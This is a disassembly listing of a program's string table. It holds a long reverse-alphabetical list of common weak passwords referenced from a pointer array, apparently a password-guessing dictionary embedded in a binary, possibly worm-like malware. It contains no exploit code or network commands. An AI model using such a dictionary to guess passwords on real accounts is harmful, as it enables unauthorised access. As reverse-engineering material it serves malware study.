aPatricia	db 'patricia',0         ; DATA XREF: ___:0042A404o
		align 10h
aPaste		db 'paste',0            ; DATA XREF: ___:0042A400o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: ___:0042A3FCo
		align 4
aPascal		db 'pascal',0           ; DATA XREF: ___:0042A3F8o
		align 4
aPapers		db 'papers',0           ; DATA XREF: ___:0042A3F4o
		align 4
aPaper		db 'paper',0            ; DATA XREF: ___:0042A3F0o
		align 4
aPapa		db 'papa',0             ; DATA XREF: ___:0042A3ECo
		align 4
aPamela		db 'pamela',0           ; DATA XREF: ___:0042A3E8o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: ___:0042A3E4o
		align 4
aPaint		db 'paint',0            ; DATA XREF: ___:0042A3E0o
		align 10h
aPainless	db 'painless',0         ; DATA XREF: ___:0042A3DCo
		align 4
aPacker		db 'packer',0           ; DATA XREF: ___:0042A3D8o
		align 4
aPackard	db 'packard',0          ; DATA XREF: ___:0042A3D4o
aPacific	db 'pacific',0          ; DATA XREF: ___:0042A3D0o
aOxford		db 'oxford',0           ; DATA XREF: ___:0042A3CCo
		align 4
aOutside	db 'outside',0          ; DATA XREF: ___:0042A3C8o
aOutput		db 'output',0           ; DATA XREF: ___:0042A3C4o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: ___:0042A3C0o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: ___:0042A3BCo
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: ___:0042A3B8o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: ___:0042A3B4o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: ___:0042A3B0o
		align 4
aOrient		db 'orient',0           ; DATA XREF: ___:0042A3ACo
		align 10h
aOrca		db 'orca',0             ; DATA XREF: ___:0042A3A8o
		align 4
aOperator	db 'operator',0         ; DATA XREF: ___:0042A3A4o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: ___:0042A3A0o
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: ___:0042A39Co
		align 4
aOpening	db 'opening',0          ; DATA XREF: ___:0042A398o
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E65o
					; sub_401ACD+590Bo ...
		align 4
aOmega		db 'omega',0            ; DATA XREF: ___:0042A390o
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: ___:0042A38Co
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: ___:0042A388o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: ___:0042A384o
		align 10h
aOkay		db 'okay',0             ; DATA XREF: ___:0042A380o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:0042A37Co
		align 10h
aOcelot		db 'ocelot',0           ; DATA XREF: ___:0042A378o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: ___:0042A374o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: ___:0042A370o
		align 10h
aNyquist	db 'nyquist',0          ; DATA XREF: ___:0042A36Co
aNuts		db 'nuts',0             ; DATA XREF: ___:0042A368o
		align 10h
aNutritio	db 'nutritio',0         ; DATA XREF: ___:0042A364o
		align 4
aNumber		db 'number',0           ; DATA XREF: ___:0042A360o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:0042A35Co
		align 4
aNukem		db 'nukem',0            ; DATA XREF: ___:0042A358o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: ___:0042A354o
		align 4
aNude		db 'nude',0             ; DATA XREF: ___:0042A350o
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: ___:0042A34Co
aNoxious	db 'noxious',0          ; DATA XREF: ___:0042A348o
aNovember	db 'november',0         ; DATA XREF: ___:0042A344o
		align 10h
aNovel		db 'novel',0            ; DATA XREF: ___:0042A340o
		align 4
aNova		db 'nova',0             ; DATA XREF: ___:0042A33Co
		align 10h
aNoth		db 'noth',0             ; DATA XREF: ___:0042A338o
		align 4
aNotes		db 'notes',0            ; DATA XREF: ___:0042A334o
		align 10h
aNoreen		db 'noreen',0           ; DATA XREF: ___:0042A330o
		align 4
aNode		db 'node',0             ; DATA XREF: ___:0042A32Co
		align 10h
aNobody		db 'nobody',0           ; DATA XREF: ___:0042A328o
		align 4
aNoble		db 'noble',0            ; DATA XREF: ___:0042A324o
		align 10h
aNnaacp		db 'nnaacp',0           ; DATA XREF: ___:0042A320o
		align 4
aNita		db 'nita',0             ; DATA XREF: ___:0042A31Co
		align 10h
aNintendo	db 'nintendo',0         ; DATA XREF: ___:0042A318o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: ___:0042A314o
		align 4
aNight		db 'night',0            ; DATA XREF: ___:0042A310o
		align 10h
aNicotine	db 'nicotine',0         ; DATA XREF: ___:0042A30Co
		align 4
aNicole		db 'nicole',0           ; DATA XREF: ___:0042A308o
		align 4
aNice		db 'nice',0             ; DATA XREF: ___:0042A304o
		align 4
aNext		db 'next',0             ; DATA XREF: ___:0042A300o
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: ___:0042A2FCo
aNewton		db 'newton',0           ; DATA XREF: ___:0042A2F8o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: ___:0042A2F4o
		align 10h
aNews		db 'news',0             ; DATA XREF: ___:0042A2F0o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: ___:0042A2ECo
aNetwork_0	db 'network',0          ; DATA XREF: ___:0042A2E8o
aNetscape	db 'netscape',0         ; DATA XREF: ___:0042A2E4o
		align 4
aNess		db 'ness',0             ; DATA XREF: ___:0042A2E0o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: ___:0042A2DCo
aNepenthe	db 'nepenthe',0         ; DATA XREF: ___:0042A2D8o
		align 10h
aNavy		db 'navy',0             ; DATA XREF: ___:0042A2D4o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: ___:0042A2D0o
		align 10h
aNapoleon	db 'napoleon',0         ; DATA XREF: ___:0042A2CCo
		align 4
aNancy		db 'nancy',0            ; DATA XREF: ___:0042A2C8o
		align 4
aName		db 'name',0             ; DATA XREF: ___:0042A2C4o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: ___:0042A2C0o
		align 4
aMutant		db 'mutant',0           ; DATA XREF: ___:0042A2BCo
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: ___:0042A2B8o
aMsdos		db 'msdos',0            ; DATA XREF: ___:0042A2B4o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: ___:0042A2B0o
		align 4
aMozart		db 'mozart',0           ; DATA XREF: ___:0042A2ACo
		align 4
aMovies		db 'movies',0           ; DATA XREF: ___:0042A2A8o
		align 4
aMovie		db 'movie',0            ; DATA XREF: ___:0042A2A4o
		align 4
aMove		db 'move',0             ; DATA XREF: ___:0042A2A0o
		align 4
aMouse		db 'mouse',0            ; DATA XREF: ___:0042A29Co
		align 4
aMountain	db 'mountain',0         ; DATA XREF: ___:0042A298o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: ___:0042A294o
		align 10h
aMortgage	db 'mortgage',0         ; DATA XREF: ___:0042A290o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: ___:0042A28Co
		align 4
aMortal		db 'mortal',0           ; DATA XREF: ___:0042A288o
		align 10h
aMorris		db 'morris',0           ; DATA XREF: ___:0042A284o
		align 4
aMorley		db 'morley',0           ; DATA XREF: ___:0042A280o
		align 10h
aMore		db 'more',0             ; DATA XREF: ___:0042A27Co
		align 4
aMoose		db 'moose',0            ; DATA XREF: ___:0042A278o
		align 10h
aMoor		db 'moor',0             ; DATA XREF: ___:0042A274o
		align 4
aMoom		db 'moom',0             ; DATA XREF: ___:0042A270o
		align 10h
aMonica		db 'monica',0           ; DATA XREF: ___:0042A26Co
		align 4
aMonday		db 'monday',0           ; DATA XREF: ___:0042A268o
		align 10h
aMoguls		db 'moguls',0           ; DATA XREF: ___:0042A264o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: ___:0042A260o
		align 10h
aModem		db 'modem',0            ; DATA XREF: ___:0042A25Co
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3377o
					; sub_401ACD+48F1o ...
		align 10h
aMkii		db 'mkii',0             ; DATA XREF: ___:0042A254o
		align 4
aMission	db 'mission',0          ; DATA XREF: ___:0042A250o
aMisfit		db 'misfit',0           ; DATA XREF: ___:0042A24Co
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: ___:0042A248o
		align 10h
aMinimum	db 'minimum',0          ; DATA XREF: ___:0042A244o
aMine		db 'mine',0             ; DATA XREF: ___:0042A240o
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:0042A23Co
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: ___:0042A238o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: ___:0042A234o
		align 10h
aMicropro	db 'micropro',0         ; DATA XREF: ___:0042A230o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: ___:0042A22Co
		align 4
aMicro		db 'micro',0            ; DATA XREF: ___:0042A228o
		align 10h
aMickey		db 'mickey',0           ; DATA XREF: ___:0042A224o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: ___:0042A220o
		align 4
aMichele	db 'michele',0          ; DATA XREF: ___:0042A21Co
aMichelan	db 'michelan',0         ; DATA XREF: ___:0042A218o
		align 4
aMichel		db 'michel',0           ; DATA XREF: ___:0042A214o
		align 10h
aMichael	db 'michael',0          ; DATA XREF: ___:0042A210o
aMice		db 'mice',0             ; DATA XREF: ___:0042A20Co
		align 10h
aMets		db 'mets',0             ; DATA XREF: ___:0042A208o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: ___:0042A204o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: ___:0042A200o
		align 10h
aMetal		db 'metal',0            ; DATA XREF: ___:0042A1FCo
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: ___:0042A1F8o
		align 10h
aMercury	db 'mercury',0          ; DATA XREF: ___:0042A1F4o
aMenu		db 'menu',0             ; DATA XREF: ___:0042A1F0o
		align 10h
aMenace		db 'menace',0           ; DATA XREF: ___:0042A1ECo
		align 4
aMemory		db 'memory',0           ; DATA XREF: ___:0042A1E8o
		align 10h
aMember		db 'member',0           ; DATA XREF: ___:0042A1E4o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: ___:0042A1E0o
aMellon		db 'mellon',0           ; DATA XREF: ___:0042A1DCo
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: ___:0042A1D8o
aMegan		db 'megan',0            ; DATA XREF: ___:0042A1D4o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: ___:0042A1D0o
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: ___:0042A1CCo
		align 10h
aMeagan		db 'meagan',0           ; DATA XREF: ___:0042A1C8o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: ___:0042A1C4o
aMath		db 'math',0
		align 4
aMaster		db 'master',0
		align 10h
aMason		db 'mason',0
		align 4
aMary		db 'mary',0
		align 10h
aMarvin		db 'marvin',0
		align 4
aMarty		db 'marty',0
		align 10h
aMars		db 'mars',0
		align 4
aMarriage	db 'marriage',0
		align 4
aMarni		db 'marni',0
		align 4
aMarkus		db 'markus',0
		align 4
aMark		db 'mark',0             ; DATA XREF: ___:0042A198o
		align 4
aMarines	db 'marines',0          ; DATA XREF: ___:0042A194o
aMarijuan	db 'marijuan',0
		align 10h
aMarietta	db 'marietta',0
		align 4
aMariens	db 'mariens',0
aMaria		db 'maria',0
		align 4
aMarcy		db 'marcy',0
		align 4
aMarci		db 'marci',0
		align 4
aMara		db 'mara',0
		align 4
aManager	db 'manager',0
aMana		db 'mana',0
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: ___:0042A16Co
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: ___:0042A168o
aMaint		db 'maint',0
		align 4
aMail		db 'mail',0
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: ___:0042A15Co
		align 4
aMagic		db 'magic',0            ; DATA XREF: ___:0042A158o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: ___:0042A154o
		align 4
aMacro		db 'macro',0
		align 4
aMack		db 'mack',0
		align 4
aMacintos	db 'macintos',0
		align 4
aMachine	db 'machine',0
aLynne		db 'lynne',0
		align 4
aLynn		db 'lynn',0
		align 10h
aLust		db 'lust',0
		align 4
aLuke		db 'luke',0
		align 10h
aLude		db 'lude',0
		align 4
aLucy		db 'lucy',0
		align 10h
aLucus		db 'lucus',0
		align 4
aLuck		db 'luck',0
		align 10h
aLover		db 'lover',0
		align 4
aLovebug	db 'lovebug',0
aLouis		db 'louis',0
		align 4
aLoser		db 'loser',0
		align 10h
aLorraine	db 'lorraine',0
		align 4
aLorin		db 'lorin',0
		align 4
aLori		db 'lori',0
		align 4
aLore		db 'lore',0
		align 4
aLoose		db 'loose',0
		align 4
aLolopc		db 'lolopc',0
		align 4
aLois		db 'lois',0
		align 4
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Eo
		align 4
aLoginwor	db 'loginwor',0
		align 10h
aLogic		db 'logic',0
		align 4
aLockword	db 'lockword',0
		align 4
aLockout	db 'lockout',0
aLock		db 'lock',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+31AAo
		align 4
aLive		db 'live',0
		align 4
aLiteratu	db 'literatu',0
		align 10h
aLisp		db 'lisp',0
		align 4
aLisa		db 'lisa',0
		align 10h
aLips		db 'lips',0
		align 4
aLion		db 'lion',0
		align 10h
aLink		db 'link',0
		align 4
aLinda		db 'linda',0
		align 10h
aLimited	db 'limited',0
aLimbaugh	db 'limbaugh',0
		align 4
aLima		db 'lima',0
		align 4
aLightsab	db 'lightsab',0
		align 4
aLight		db 'light',0
		align 10h
aLife		db 'life',0
		align 4
aLicker		db 'licker',0
		align 10h
aLick		db 'lick',0
		align 4
aLibrary	db 'library',0
aLiberal	db 'liberal',0
aLexluthe	db 'lexluthe',0
		align 4
aLewis		db 'lewis',0
		align 4
aLetmein	db 'letmein',0
aLeslie		db 'leslie',0
		align 4
aLesbian	db 'lesbian',0
aLeroy		db 'leroy',0            ; DATA XREF: ___:0042A07Co
		align 4
aLeland		db 'leland',0           ; DATA XREF: ___:0042A078o
		align 4
aLegal		db 'legal',0            ; DATA XREF: ___:0042A074o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: ___:0042A070o
		align 4
aLeft		db 'left',0             ; DATA XREF: ___:0042A06Co
		align 10h
aLebesgue	db 'lebesgue',0         ; DATA XREF: ___:0042A068o
		align 4
aLeah		db 'leah',0             ; DATA XREF: ___:0042A064o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: ___:0042A060o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: ___:0042A05Co
aLava		db 'lava',0             ; DATA XREF: ___:0042A058o
		align 4
aLaura		db 'laura',0            ; DATA XREF: ___:0042A054o
		align 4
aLaser		db 'laser',0            ; DATA XREF: ___:0042A050o
		align 4
aLarry		db 'larry',0            ; DATA XREF: ___:0042A04Co
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: ___:0042A048o
		align 4
aLara		db 'lara',0             ; DATA XREF: ___:0042A044o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: ___:0042A040o
		align 4
aLana		db 'lana',0             ; DATA XREF: ___:0042A03Co
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: ___:0042A038o
		align 10h
aLambda		db 'lambda',0           ; DATA XREF: ___:0042A034o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: ___:0042A030o
		align 10h
aLadle		db 'ladle',0            ; DATA XREF: ___:0042A02Co
		align 4
aLadies		db 'ladies',0           ; DATA XREF: ___:0042A028o
		align 10h
aKristy		db 'kristy',0           ; DATA XREF: ___:0042A024o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: ___:0042A020o
		align 4
aKristin	db 'kristin',0          ; DATA XREF: ___:0042A01Co
aKristie	db 'kristie',0          ; DATA XREF: ___:0042A018o
aKristi		db 'kristi',0           ; DATA XREF: ___:0042A014o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: ___:0042A010o
aKrista		db 'krista',0           ; DATA XREF: ___:0042A00Co
		align 4
aKnown		db 'known',0            ; DATA XREF: ___:0042A008o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: ___:0042A004o
		align 10h
aKnight		db 'knight',0           ; DATA XREF: ___:0042A000o
		align 4
aKnife		db 'knife',0            ; DATA XREF: ___:00429FFCo
		align 10h
aKlingon	db 'klingon',0          ; DATA XREF: ___:00429FF8o
aKitten		db 'kitten',0           ; DATA XREF: ___:00429FF4o
		align 10h
aKissmyas	db 'kissmyas',0         ; DATA XREF: ___:00429FF0o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: ___:00429FECo
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: ___:00429FE8o
		align 10h
aKirk		db 'kirk',0             ; DATA XREF: ___:00429FE4o
		align 4
aKing		db 'king',0             ; DATA XREF: ___:00429FE0o
		align 10h
aKimberly	db 'kimberly',0         ; DATA XREF: ___:00429FDCo
		align 4
aKilo		db 'kilo',0             ; DATA XREF: ___:00429FD8o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: ___:00429FD4o
		align 10h
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F0Do
					; ___:00429FD0o
		align 4
aKids		db 'kids',0             ; DATA XREF: ___:00429FCCo
		align 10h
aKeyword	db 'keyword',0          ; DATA XREF: ___:00429FC8o
aKeyin		db 'keyin',0            ; DATA XREF: ___:00429FC4o
		align 10h
aKeybord	db 'keybord',0          ; DATA XREF: ___:00429FC0o
aKewl		db 'kewl',0             ; DATA XREF: ___:00429FBCo
		align 10h
aKevin		db 'kevin',0            ; DATA XREF: ___:00429FB8o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: ___:00429FB4o
		align 10h
aKerrie		db 'kerrie',0           ; DATA XREF: ___:00429FB0o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: ___:00429FACo
		align 10h
aKernel		db 'kernel',0           ; DATA XREF: ___:00429FA8o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00429FA4o
		align 10h
aKeri		db 'keri',0             ; DATA XREF: ___:00429FA0o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: ___:00429F9Co
		align 10h
aKatrina	db 'katrina',0          ; DATA XREF: ___:00429F98o
aKatina		db 'katina',0           ; DATA XREF: ___:00429F94o
		align 10h
aKathy		db 'kathy',0            ; DATA XREF: ___:00429F90o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: ___:00429F8Co
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: ___:00429F88o
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:00429F84o
		align 4
aKatana		db 'katana',0           ; DATA XREF: ___:00429F80o
		align 10h
aKarina		db 'karina',0           ; DATA XREF: ___:00429F7Co
		align 4
aKarie		db 'karie',0            ; DATA XREF: ___:00429F78o
		align 10h
aKaren		db 'karen',0            ; DATA XREF: ___:00429F74o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: ___:00429F70o
		align 10h
aJupiter	db 'jupiter',0          ; DATA XREF: ___:00429F6Co
aJune		db 'june',0             ; DATA XREF: ___:00429F68o
		align 10h
aJuliet		db 'juliet',0           ; DATA XREF: ___:00429F64o
		align 4
aJulie		db 'julie',0            ; DATA XREF: ___:00429F60o
		align 10h
aJulia		db 'julia',0            ; DATA XREF: ___:00429F5Co
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: ___:00429F58o
		align 10h
aJuggle		db 'juggle',0           ; DATA XREF: ___:00429F54o
		align 4
aJudy		db 'judy',0             ; DATA XREF: ___:00429F50o
		align 10h
aJudith		db 'judith',0           ; DATA XREF: ___:00429F4Co
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: ___:00429F48o
		align 10h
aJournal	db 'journal',0          ; DATA XREF: ___:00429F44o
aJoshua		db 'joshua',0           ; DATA XREF: ___:00429F40o
		align 10h
aJoseph		db 'joseph',0           ; DATA XREF: ___:00429F3Co
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: ___:00429F38o
		align 10h
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:00429F34o
aJohn		db 'john',0             ; DATA XREF: ___:00429F30o
		align 10h
aJody		db 'jody',0             ; DATA XREF: ___:00429F2Co
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: ___:00429F28o
		align 10h
aJixian		db 'jixian',0           ; DATA XREF: ___:00429F24o
		align 4
aJill		db 'jill',0             ; DATA XREF: ___:00429F20o
		align 10h
aJewelry	db 'jewelry',0          ; DATA XREF: ___:00429F1Co
aJester		db 'jester',0           ; DATA XREF: ___:00429F18o
		align 10h
aJessica	db 'jessica',0          ; DATA XREF: ___:00429F14o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:00429F10o
		align 4
aJerry		db 'jerry',0            ; DATA XREF: ___:00429F0Co
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:00429F08o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: ___:00429F04o
		align 10h
aJenni		db 'jenni',0            ; DATA XREF: ___:00429F00o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: ___:00429EFCo
		align 10h
aJeanne		db 'jeanne',0           ; DATA XREF: ___:00429EF8o
		align 4
aJean		db 'jean',0             ; DATA XREF: ___:00429EF4o
		align 10h
aJazz		db 'jazz',0             ; DATA XREF: ___:00429EF0o
		align 4
aJava		db 'java',0             ; DATA XREF: ___:00429EECo
		align 10h
aJasmin		db 'jasmin',0           ; DATA XREF: ___:00429EE8o
		align 4
aJapan		db 'japan',0            ; DATA XREF: ___:00429EE4o
		align 10h
aJanie		db 'janie',0            ; DATA XREF: ___:00429EE0o
		align 4
aJanice		db 'janice',0           ; DATA XREF: ___:00429EDCo
		align 10h
aJanet		db 'janet',0            ; DATA XREF: ___:00429ED8o
		align 4
aJane		db 'jane',0             ; DATA XREF: ___:00429ED4o
		align 10h
aJail		db 'jail',0             ; DATA XREF: ___:00429ED0o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: ___:00429ECCo
		align 10h
aIsis		db 'isis',0             ; DATA XREF: ___:00429EC8o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: ___:00429EC4o
		align 4
aIrene		db 'irene',0            ; DATA XREF: ___:00429EC0o
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:00429EBCo
		align 4
aInteger	db 'integer',0          ; DATA XREF: ___:00429EB8o
aInside		db 'inside',0           ; DATA XREF: ___:00429EB4o
		align 4
aInput		db 'input',0            ; DATA XREF: ___:00429EB0o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:00429EACo
		align 4
aInna		db 'inna',0             ; DATA XREF: ___:00429EA8o
		align 10h
aIngrid		db 'ingrid',0           ; DATA XREF: ___:00429EA4o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: ___:00429EA0o
aIngres		db 'ingres',0           ; DATA XREF: ___:00429E9Co
		align 4
aIndians	db 'indians',0          ; DATA XREF: ___:00429E98o
aIndiana	db 'indiana',0          ; DATA XREF: ___:00429E94o
aIndian		db 'indian',0           ; DATA XREF: ___:00429E90o
		align 10h
aIndia		db 'india',0            ; DATA XREF: ___:00429E8Co
		align 4
aInclude	db 'include',0          ; DATA XREF: ___:00429E88o
aImperial	db 'imperial',0         ; DATA XREF: ___:00429E84o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:00429E80o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:00429E7Co
		align 4
aImage		db 'image',0            ; DATA XREF: ___:00429E78o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:00429E74o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: ___:00429E70o
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:00429E6Co
		align 10h
aHyper		db 'hyper',0            ; DATA XREF: ___:00429E68o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:00429E64o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: ___:00429E60o
		align 10h
aHunter		db 'hunter',0           ; DATA XREF: ___:00429E5Co
		align 4
aHunt		db 'hunt',0             ; DATA XREF: ___:00429E58o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B42o
					; ___:00429E54o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: ___:00429E50o
		align 10h
aHotdog		db 'hotdog',0           ; DATA XREF: ___:00429E4Co
		align 4
aHost		db 'host',0             ; DATA XREF: ___:00429E48o
		align 10h
aHorus		db 'horus',0            ; DATA XREF: ___:00429E44o
		align 4
aHorse		db 'horse',0            ; DATA XREF: ___:00429E40o
		align 10h
aHorror		db 'horror',0           ; DATA XREF: ___:00429E3Co
		align 4
aHorrible	db 'horrible',0         ; DATA XREF: ___:00429E38o
		align 4
aHorny		db 'horny',0            ; DATA XREF: ___:00429E34o
		align 4
aHooters	db 'hooters',0          ; DATA XREF: ___:00429E30o
aHooker		db 'hooker',0           ; DATA XREF: ___:00429E2Co
		align 4
aHoney		db 'honey',0            ; DATA XREF: ___:00429E28o
		align 4
aHomework	db 'homework',0         ; DATA XREF: ___:00429E24o
		align 10h
aHomer		db 'homer',0            ; DATA XREF: ___:00429E20o
		align 4
aHomepage	db 'homepage',0         ; DATA XREF: ___:00429E1Co
		align 4
aHollywoo	db 'hollywoo',0         ; DATA XREF: ___:00429E18o
		align 10h
aHolly		db 'holly',0            ; DATA XREF: ___:00429E14o
		align 4
aHole		db 'hole',0             ; DATA XREF: ___:00429E10o
		align 10h
aHits		db 'hits',0             ; DATA XREF: ___:00429E0Co
		align 4
aHitler		db 'hitler',0           ; DATA XREF: ___:00429E08o
		align 10h
aHighland	db 'highland',0         ; DATA XREF: ___:00429E04o
		align 4
aHigh		db 'high',0             ; DATA XREF: ___:00429E00o
		align 4
aHidden		db 'hidden',0           ; DATA XREF: ___:00429DFCo
		align 4
aHibernia	db 'hibernia',0         ; DATA XREF: ___:00429DF8o
		align 4
aHiawatha	db 'hiawatha',0         ; DATA XREF: ___:00429DF4o
		align 4
aHexadeci	db 'hexadeci',0         ; DATA XREF: ___:00429DF0o
		align 10h
aHewlett	db 'hewlett',0          ; DATA XREF: ___:00429DECo
aHeroin		db 'heroin',0           ; DATA XREF: ___:00429DE8o
		align 10h
aHero		db 'hero',0             ; DATA XREF: ___:00429DE4o
		align 4
aHerbert	db 'herbert',0          ; DATA XREF: ___:00429DE0o
aHerb		db 'herb',0             ; DATA XREF: ___:00429DDCo
		align 4
aHelp		db 'help',0             ; DATA XREF: ___:00429DD8o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429DD4o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429DD0o
		align 10h
aHeinlein	db 'heinlein',0         ; DATA XREF: ___:00429DCCo
		align 4
aHeidi		db 'heidi',0            ; DATA XREF: ___:00429DC8o
		align 4
aHebrides	db 'hebrides',0         ; DATA XREF: ___:00429DC4o
		align 10h
aHeather	db 'heather',0          ; DATA XREF: ___:00429DC0o
aHeathen	db 'heathen',0          ; DATA XREF: ___:00429DBCo
aHeat		db 'heat',0             ; DATA XREF: ___:00429DB8o
		align 4
aHeadbang	db 'headbang',0         ; DATA XREF: ___:00429DB4o
		align 4
aHead		db 'head',0             ; DATA XREF: ___:00429DB0o
		align 4
aHawaii		db 'hawaii',0           ; DATA XREF: ___:00429DACo
		align 4
aHaven		db 'haven',0            ; DATA XREF: ___:00429DA8o
		align 4
aHate		db 'hate',0             ; DATA XREF: ___:00429DA4o
		align 4
aHarvey		db 'harvey',0           ; DATA XREF: ___:00429DA0o
		align 4
aHarold		db 'harold',0           ; DATA XREF: ___:00429D9Co
		align 4
aHarmony	db 'harmony',0          ; DATA XREF: ___:00429D98o
aHarddriv	db 'harddriv',0         ; DATA XREF: ___:00429D94o
		align 4
aHardcore	db 'hardcore',0         ; DATA XREF: ___:00429D90o
		align 4
aHard		db 'hard',0             ; DATA XREF: ___:00429D8Co
		align 4
aHappenin	db 'happenin',0         ; DATA XREF: ___:00429D88o
		align 4
aHandjob	db 'handjob',0          ; DATA XREF: ___:00429D84o
aHandily	db 'handily',0          ; DATA XREF: ___:00429D80o
aHandel		db 'handel',0           ; DATA XREF: ___:00429D7Co
		align 10h
aHamster	db 'hamster',0          ; DATA XREF: ___:00429D78o
aHamlet		db 'hamlet',0           ; DATA XREF: ___:00429D74o
		align 10h
aHallowee	db 'hallowee',0         ; DATA XREF: ___:00429D70o
		align 4
aHair		db 'hair',0             ; DATA XREF: ___:00429D6Co
		align 4
aHagar		db 'hagar',0            ; DATA XREF: ___:00429D68o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: ___:00429D64o
		align 4
aHack		db 'hack',0             ; DATA XREF: ___:00429D60o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: ___:00429D5Co
		align 4
aGumption	db 'gumption',0         ; DATA XREF: ___:00429D58o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: ___:00429D54o
		align 4
aGuess		db 'guess',0            ; DATA XREF: ___:00429D50o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: ___:00429D4Co
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: ___:00429D48o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: ___:00429D44o
aGroup		db 'group',0            ; DATA XREF: ___:00429D40o
		align 4
aGreen		db 'green',0            ; DATA XREF: ___:00429D3Co
		align 4
aGreat		db 'great',0            ; DATA XREF: ___:00429D38o
		align 4
aGrant		db 'grant',0            ; DATA XREF: ___:00429D34o
		align 4
